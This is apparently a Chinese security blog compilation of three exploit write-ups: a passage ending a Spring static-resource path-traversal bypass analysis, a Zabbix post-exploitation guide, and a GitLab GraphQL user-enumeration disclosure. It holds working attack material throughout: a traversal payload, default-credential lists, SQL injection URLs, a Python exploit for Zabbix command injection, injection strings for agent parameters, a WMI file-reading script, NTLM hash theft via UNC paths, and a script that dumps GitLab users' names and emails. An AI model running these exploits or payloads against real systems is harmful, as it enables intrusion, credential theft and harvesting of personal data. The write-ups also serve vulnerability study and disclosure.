if (i == 0 || i == 1 && slash) {
return path;
}

path = slash ? "/" + path.substring(i) : path.substring(i);
return path;
}
}

return slash ? "/" : "";
}

简单来讲就是

去除路径开头的无效字符:忽略空格、控制字符等无效字符,找到第一个有效字符。

保留根路径:如果路径开头有斜杠 /,则确保处理后的路径以 / 开头。

快速返回有效路径:如果路径是根路径或有效路径已经以 / 开头,直接返回,不做额外处理。

输入: " /home/user"
输出: "/home/user"

  • 去除了路径开头的空格,保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

  • 去除了路径开头的空格,保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

  • 只有斜杠的情况,返回根路径 /。

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply

1
2
3
if (path.contains("%")) {
path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}

如果包含%,就是url编码的标志,然后会继续url解码

最终确定路径的点是在

1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
try {
Resource resource = this.location.createRelative(path);
return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();

关键在于this.isInvalidPath(path)判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}

我们需要的是返回false,看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);,首先我们可以有..这种字符的存在,因为是&符号连接的,所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长,一步一步分析

这个代码是为了处理windows和linux的差异的,会windows中的\\或者\转为linux中的/

1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
normalizedPath = replace(path, "\\\\", "/");
normalizedPath = replace(normalizedPath, "\\", "/");
} else {
normalizedPath = path;
}

然后就是处理前缀了,如果路径没有.直接返回,如果又会处理,还是为了处理windows的场景

58 对应的是冒号 :,用于检测是否有像 C: 这样的路径前缀。如果存在前缀(如 Windows 路径中的盘符),将其提取出来。

如果前缀中包含 /,则认为它不是有效的前缀(可能是 URL 的一部分),清除它;否则将前缀保留并将路径的主体部分截取出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
return normalizedPath;
} else {
int prefixIndex = normalizedPath.indexOf(58);
String prefix = "";
if (prefixIndex != -1) {
prefix = normalizedPath.substring(0, prefixIndex + 1);
if (prefix.contains("/")) {
prefix = "";
} else {
pathToUse = normalizedPath.substring(prefixIndex + 1);
}
}

然后根据 / 拆分路径,将其转换为一个数组 pathArray

1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;

image

如果包含.则不会走到pathElements.addFirst(element);相当于去除,中间对于tops的处理就是相当于在处理..的路径穿越字符了

1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
String element = pathArray[i];
if (!".".equals(element)) {
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
} else {
pathElements.addFirst(element);
}
}
}

结合

1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
++tops;
} else if (tops > 0) {
--tops;
}

......
for(i = 0; i < tops; ++i) {
pathElements.addFirst("..");
}

处理前和处理后的代码

image

应该能读懂这个逻辑吧

然后最后就是拼接了

1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;

image

如果我们想要返回的路径不包含../就得从其中一步找点破绽,其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下,它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后,路径将被简化为 a/b/d,因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置,但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素,按理来说构造这样一个字符就ok了

1
/static/////../../1.txt

自己写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
public static void main(String[] args) {
String path = "/static/////../../1.txt";
System.out.println(isInvalidPath(path));

}

public static boolean isInvalidPath(String path) {
if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
if (path.contains(":/")) {
String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
return true;
}
}

return path.contains("..") && StringUtils.cleanPath(path).contains("../");
} else {
return true;
}
}
}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

Zabbix 漏洞深入利用

Zabbix 漏洞深入利用

本文转自 Geekby 并作补充

1 前言

Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案,能监视各种网络参数,保证服务器系统服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

1.1 组件

Zabbix 监控系统由以下几个组件部分构成:

  • Zabbix Server

Zabbix Server 是所有配置、统计和操作数据的中央存储中心,也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件,分别为 Zabbix Server 服务、Web 后台及数据库。

  • Zabbix Proxy

Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据,然后把数据汇报给 Zabbix Server,并且在一定程度上分担了 Zabbix Server 的压力。

  • Zabbix Agent

Zabbix Agent 部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。

1.2 网络架构

image

对于 Zabbix Agent 客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server 向 Agent 的 10050 端口获取监控项数据,Agent 根据监控项收集本机数据并响应。
  • 主动模式:Agent 主动请求 Server (Proxy) 的 10051 端口获取监控项列表,并根据监控项收集本机数据提交给 Server (Proxy)

1.3 Zabbix Agent 配置

Zabbix Agent 服务的配置文件为 zabbix_agentd.conf,Linux 默认路径在 /etc/zabbix/zabbix_agentd.conf。

image

配置文件中包含的一些基本设置选项:

  • Server 参数

Server 或 Proxy 的 IP、CIDR、域名等,Agent 仅接受来自 Server 参数的 IP 请求(白名单)。

  • ServerActive 参数

Server 或 Proxy 的 IP、CIDR、域名等,用于主动模式,Agent 主动向 ServerActive 参数的 IP 发送请求。

  • StartAgents 参数

zabbix 启动之后开启被动监控的进程数量,默认为3。如果设置为 0,那么 zabbix 被动监控被禁用,并且不会监听 10050 端口。

image

配置文件中包含的一些可能存在风险的设置选项:

  • Include 参数

加载配置文件目录单个文件或所有文件,通常包含的 conf 都是配置 UserParameter 自定义用户参数。

  • UserParameter 参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server 可向 Agent 执行预设的自定义参数命令以获取监控数据,以官方示例为例:

1
UserParameter=ping[*],echo $1

当 Server 向 Agent 执行 ping[aaaa] 指令时,$1 为传参的值,Agent 经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa。

command 存在命令拼接,但由于传参内容受 UnsafeUserParameters 参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

  • UnsafeUserParameters 参数

自定义用户参数是否允许传参任意字符,默认不允许字符 \ ' " `` * ? [ ] { } ~ $ ! & ; ( ) < > | # @,当 UnsafeUserParameters=1 时,允许特殊字符。

以 UserParameter=ping[*],echo $1 为例,向 Agent 执行指令 ping[test && whoami],经过命令拼接后最终执行 echo test && whoami,成功注入执行 shell 命令。

  • EnableRemoteCommands 参数

是否允许来自 Zabbix Server 的远程命令,开启后可通过 Server 下发 shell 脚本在 Agent 上执行。当值为 1 时,允许远程下发命令。

  • AllowRoot 参数

Linux 默认以低权限用户 zabbix 运行,开启后以 root 权限运行 zabbix_agentd 服务。当其值为 1 时,允许以 root 权限执行命令。

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

Zabbix 安装后自带 Admin 管理员用户和 Guests 访客用户(低版本),可登陆 Zabbiax 后台。

常见弱口令组合:

  • admin:zabbix
  • Admin:zabbix
  • guset:空口令

2.1.2 mysql 端

由于 root 用户默认情况下无法外连,运维通常会新建 MySQL 用户 zabbix,常见密码如下:

1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下 MySQL 数据库后,可解密 users 表的密码 md5 值,或者直接替换密码的 md5 为已知密码,即可登录 Zabbix Web。

2.2 CVE-2016-10134 - SQL 注入漏洞

该漏洞的具体分析可参考:zabbix SQL注入漏洞(CVE-2016-10134),原理是 insert 插入时未对用户输入的数据进行过滤,可以进行显错注入。

2.2.1 已有用户凭据

以 Guest 用户登录后,查看 Cookie 中的zbx_sessionid,复制后 16 位字符:

image

将这 16 个字符作为 sid 的值,访问 http://your-ip:8080/latest.php?output=ajax&sid=16位 ID&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

image

2.2.2 无用户凭据

这个漏洞也可以通过 jsrpc.php 触发,且无需登录:http://IP:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0):

image

将用户密码 MD5 还原即可登录。漏洞利用脚本:zabbixPwn

2.3 CVE-2017-2824 - 命令注入

利用该漏洞,需要服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码 admin/zabbix 登录后台,进入 Configuration->Actions,将 Event source 调整为 Auto registration,然后点击 Create action,创建一个 Action,名字随意:

image

第三个标签页,创建一个 Operation,type是 Add Host:

image

保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为 Agent。

第一条数据:

active checks是 Agent 主动检查时用于获取监控项列表的命令,Zabbix Server 在开启自动注册的情况下,通过 active checks 命令请求获取一个不存在的 host 时,自动注册机制会将 json 请求中的 host、ip 添加到 interface 数据表里。

1
{"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))

第二条数据:

1
{"request":"command","scriptid":1,"hostid":10001}

command 指令可以在未授权的情况下可指定主机 (hostid) 执行指定脚本 (scriptid),Zabbix 存在 3 个默认脚本,脚本中的 {HOST.CONN} 在脚本调用的时候会被替换成主机 IP。

1
2
3
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid 指定其中任意一个,hostid 为注入恶意 Payload 后的主机 id,但自动注册后的 hostid 是未知的,所以通过 command 指令遍历 hostid 的方式都执行一遍,最后成功触发命令注入漏洞。

由于默认脚本的类型限制,脚本都是在 Zabbix Server 上运行,Zabbix Proxy 是无法使用 command 指令的。payload 长度受限制可拆分多次执行,必须更换 host 名称以执行新的payload。

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

image

image

2.4 CVE-2020-11800 - 命令注入

该漏洞为基于 CVE-2017-2824 的绕过利用。未授权攻击者向 Zabbix Server 的 10051 端口发送 trapper 功能相关命令,利用漏洞即可在 Zabbix Server 上执行系统命令。

其中 CVE-2020-11800 漏洞通过 ipv6 格式绕过 ip 字段检测注入执行 shell 命令,受数据表字段限制 Payload 长度只能为 64 个字符。

1
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

由于 CVE-2017-2824 与 CVE-2020-11800 漏洞点及利用区别不大,不再复述。

3 Zabbix 后渗透测试

在拥有 Zabbix Server 权限后,如何利用当前权限进一步控制 Zabbix Agent?前文讲到,Zabbix Agent 的 10050 端口仅处理来自 Zabbix Server 或 Proxy 的请求,所以后续攻击都是依赖于 Zabbix Server 权限进行扩展。

在 zabbix 中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在 zabbix 中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在 zabbix 中被称为“键”(key),所以在 zabbix 中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

在控制 Zabbix Server 权限的情况下可通过 zabbix_get 命令向 Agent 获取监控项数据,比如说获取 Agent 的系统内核信息:

image

关于监控项,可以参考:

Agent监控项较多不一一例举,可以参考:

1. Zabbix Agent监控项

2. Zabbix Agent Windows监控项

针对 item 监控项的攻击面进行挖掘,存在以下利用场景:

3.1 EnableRemoteCommands 参数远程命令执行

前文讲到,Agent 远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数。

在 Zabbix Web 上添加脚本,Execute on 选项可根据需求选择,选择 Zabbix server 不需要开启 EnableRemoteCommands 参数,所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

image

如果要指定某个主机执行该脚本,可从 Zabbix Web 的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应 Agent 上执行脚本。

image

如果类型是 Execute on Zabbix Agent ,Agent 配置文件在未开启 EnableRemoteCommands 参数的情况下会返回报错。

如果不想在 Zabbix Web 上留下太多日志痕迹,或者想批量控制 Agent,拿下 Zabbix Server 权限后可以通过 zabbix_get 命令向 Agent 执行监控项命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令。

image

3.2 UserParameter 自定义参数命令注入

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数 UserParameter,就能达到命令注入的效果。

以下面配置为例:

image

1
zabbix_get -s agent -p 10050 -k "ping[test && id]"

image

3.3 任意文件读取

Zabbix Agent 如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix 原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过 64KB 的文件。

image

zabbix_agentd 服务默认以低权限用户 zabbix 运行,读取文件受 zabbix 用户权限限制。开启 AllowRoot 参数情况下 zabbix_agentd 服务会以 root 权限运行,利用 vfs.file.contents 命令就能任意文件读取。

如果文件超过 64KB 无法读取,在了解该文件字段格式的情况下可利用 vfs.file.regexp 命令正则获取关键内容。

3.4 Windows 目录遍历

Zabbix原生监控项中,wmi.get命令可以执行 WMI 查询并返回第一个对象,通过 WQL 语句可以查询许多机器信息。

如:WQL 查询盘符

1
zabbix_get -s agent -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

利用 wmi.get命令进行目录遍历、文件遍历,结合 vfs.file.contents 命令就能够在 Windows 下实现任意文件读取。

基于 zabbix_get 命令写了个 python 脚本,实现 Windows 的列目录、读文件功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys

count = 0

def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False

def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break

def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break

def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break

def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)

if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])

print("Request count: " + str(count))

3.5 Windows UNC 路径利用

在 Windows Zabbix Agent 环境中,可以利用 vfs.file.contents 命令读取 UNC 路径,窃取 Zabbix Agent 机器的 Net-NTLM hash,从而进一步 Net-NTLM relay 攻击。

Window Zabbix Agent 默认安装成 Windows 服务,运行在 SYSTEM 权限下。在工作组环境中,system 用户的 Net-NTLM hash 为空,所以工作组环境无法利用。

在域内环境中,SYSTEM 用户即机器用户,如果是 Net-NTLM v1 的情况下,可以利用 Responder 工具获取 Net-NTLM v1 hash 并通过算法缺陷解密拿到 NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下 Agent 机器权限。

也可以配合 CVE-2019-1040 漏洞,relay 到 ldap 上配置基于资源的约束委派进而拿下 Agent 机器权限。(此处直接结果直接引用,未做实验)

image

image

3.6 Zabbix Proxy 和主动检查模式利用场景

通过 zabbix_get 工具执行监控项命令只适合 Agent 被动模式且 10050 端口可以通讯的场景

如果在 Zabbix Proxy 场景或 Agent 主动检查模式的情况下,Zabbix Server 无法直接与 Agent 10050 端口通讯,可以使用比较通用的办法,就是通过 Zabbix Web 添加监控项。

image

其它配置同理,在此不做赘述。

参考

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

本文转自 jake-baines 并作补充

2022年2月25日,GitLab发布了针对CVE-2021-4191的修复程序,该漏洞属于CWE-359 “向未经授权的攻击者暴露私人个人信息”的一个实例。此漏洞现已修复,影响GitLab 13.0及更高版本。该漏洞是由于执行某些GitLab GraphQL API查询时缺少身份验证检查造成的。远程未经身份验证的攻击者可以利用此漏洞收集已注册的GitLab用户名、姓名和电子邮件地址。我们对此问题的初始CVSSv3基本评分为5.3。

Metasploit 模块已可用,我们预计该漏洞会被用于信息收集和用户名列表生成。单独使用该漏洞的影响可能微乎其微,但如果结合暴力破解密码和撞库攻击,则可能造成严重后果。

Credit

该问题由高级安全研究员Jake Baines在Rapid7 的漏洞披露计划中发现并报告。

Impact

GitLab GraphQL API 信息泄露事件允许远程未经身份验证的攻击者恢复用户名、姓名,有时甚至包括电子邮件地址。乍一看,这似乎风险很小。然而,账户发现之所以是 MITRE ATT&CK 框架中的一项技术,是有原因的。收集有效用户账户列表是各种暴力破解攻击的第一步,例如密码猜测、密码喷洒和凭证填充攻击。

这类攻击看似简单,但却十分有效。包括Emotet、Fancy Bear和Nobelium在内的许多成功的恶意软件/组织都曾使用过这种技术。

开源攻击性安全社区也投入了大量时间开发暴力破解工具,这再次印证了暴力破解在实际攻击中仍然是一种可行的攻击手段。诸如ncrack、Patator、CrackMapExec和THC-Hydra等开源暴力破解工具就是例证。

利用攻击者提供的用户名列表实施攻击。GitLab GraphQL API 信息输出的是有效的用户名。因此,此漏洞与现有工具相辅相成。

虽然攻击者总是可以使用包含已知用户名的常用 字典,但暴力破解攻击利用被攻击组织的已知有效用户名,可以提高其成功几率。

此次信息泄露还可能使攻击者能够基于 GitLab 安装创建新的用户名字典——不仅包括 gitlab.com,还包括可以从互联网访问的其他 50,000 个 GitLab 实例。

image

这样的字典并非史无前例。2021年,Clubhouse 曾公开一个 API,允许未经认证的用户枚举 Clubhouse 的用户群。攻击者利用该 API 将数据合并到一个数据库中,然后将其发布到黑客论坛上供任何人使用。

需要注意的是,这并非 GitLab 首次从 API 泄露类似细节。早在 2015 年,MWR Infosecurity就发布了一篇博客文章和一个未经身份验证的远程Metasploit 模块,该模块使用 /api/v3/internal/discover?key_id= API 枚举用户帐户。

Exploitation

经与 GitLab 工程团队协商,我们确认该问题最初是在 GitLab 13.0 中引入的。

存在漏洞的端点是 /api/graphql。GitLab文档指出,身份验证使用个人访问令牌,如下所示。

image

然而,并非所有对该端点的请求都需要身份验证。GitLab 的 /-/graphql-explorer 端点是测试这一点的理想场所。在下图左侧,您可以看到一个用于获取所有用户 ID、姓名和用户名的 GraphQL 请求,右侧则是响应。

image

除了ID、姓名和用户名之外,攻击者还可以获取更多信息。以下列出了未经身份验证的远程攻击者可以窃取的更完整信息列表。

image

以下 Python 脚本将打印一个 CSV 文件,其中包含已发现的 ID、用户名、姓名、电子邮件地址以及用户是否为机器人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)

for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False

以下是上述输出的示例:

1
2
3
4
5
6
albinolobster@ubuntu:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,test@test.com,False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

除了构建用于凭证攻击的用户名列表外,攻击者还可以利用这些信息来发现受影响用户的其他社交媒体帐户和联系人。这可以通过查询单个 GitLab 个人资料页面或简单地将用户名、姓名和电子邮件地址与其他来源进行交叉比对来实现。这种信息收集方式使攻击者能够发起更复杂的网络钓鱼攻击。

Mitigation

除非您打算将 GitLab 作为任何人都可以访问的公共资源提供,否则请确保您的 GitLab 实例无法从互联网访问。当然,我们也强烈建议用户将 GitLab 服务器实例更新到最新版本(14.8.2、14.7.4 和 14.6.5)。禁用公开个人资料也是防止未经授权的信息收集的有效措施。

要禁用公开个人资料,请转到“管理区域”->“常规”->“可见性和访问控制”->“受限可见性级别”。然后选中“公开”旁边的复选框。这样应该可以阻止任何未登录的用户查看用户个人资料。

Disclosure timeline

  • 2021年11月: Rapid7公司的Jake Baines初步发现并确认。
  • 2021年11月18日,星期四:首次联系GitLabs
  • 2021年11月23日,星期二:已向 GitLabs 提交问题 #1408214,并提供了完整的技术细节。
  • 2022年1月17日,星期一:供应商表示,在11月和12月多次更新状态后,修复程序即将推出。
  • 2022年2月8日,星期二:修复程序已准备就绪,经过测试,将在下一次安全更新中发布。
  • 2022年2月25日,星期五: 发布了针对CVE-2021-4191的补丁
  • 2022年3月1日,星期二: Metasploit模块PR#16252已提交,用于修复CVE-2021-4191漏洞。
  • 2022年3月3日,星期四:公开披露CVE-2021-4191(本文档)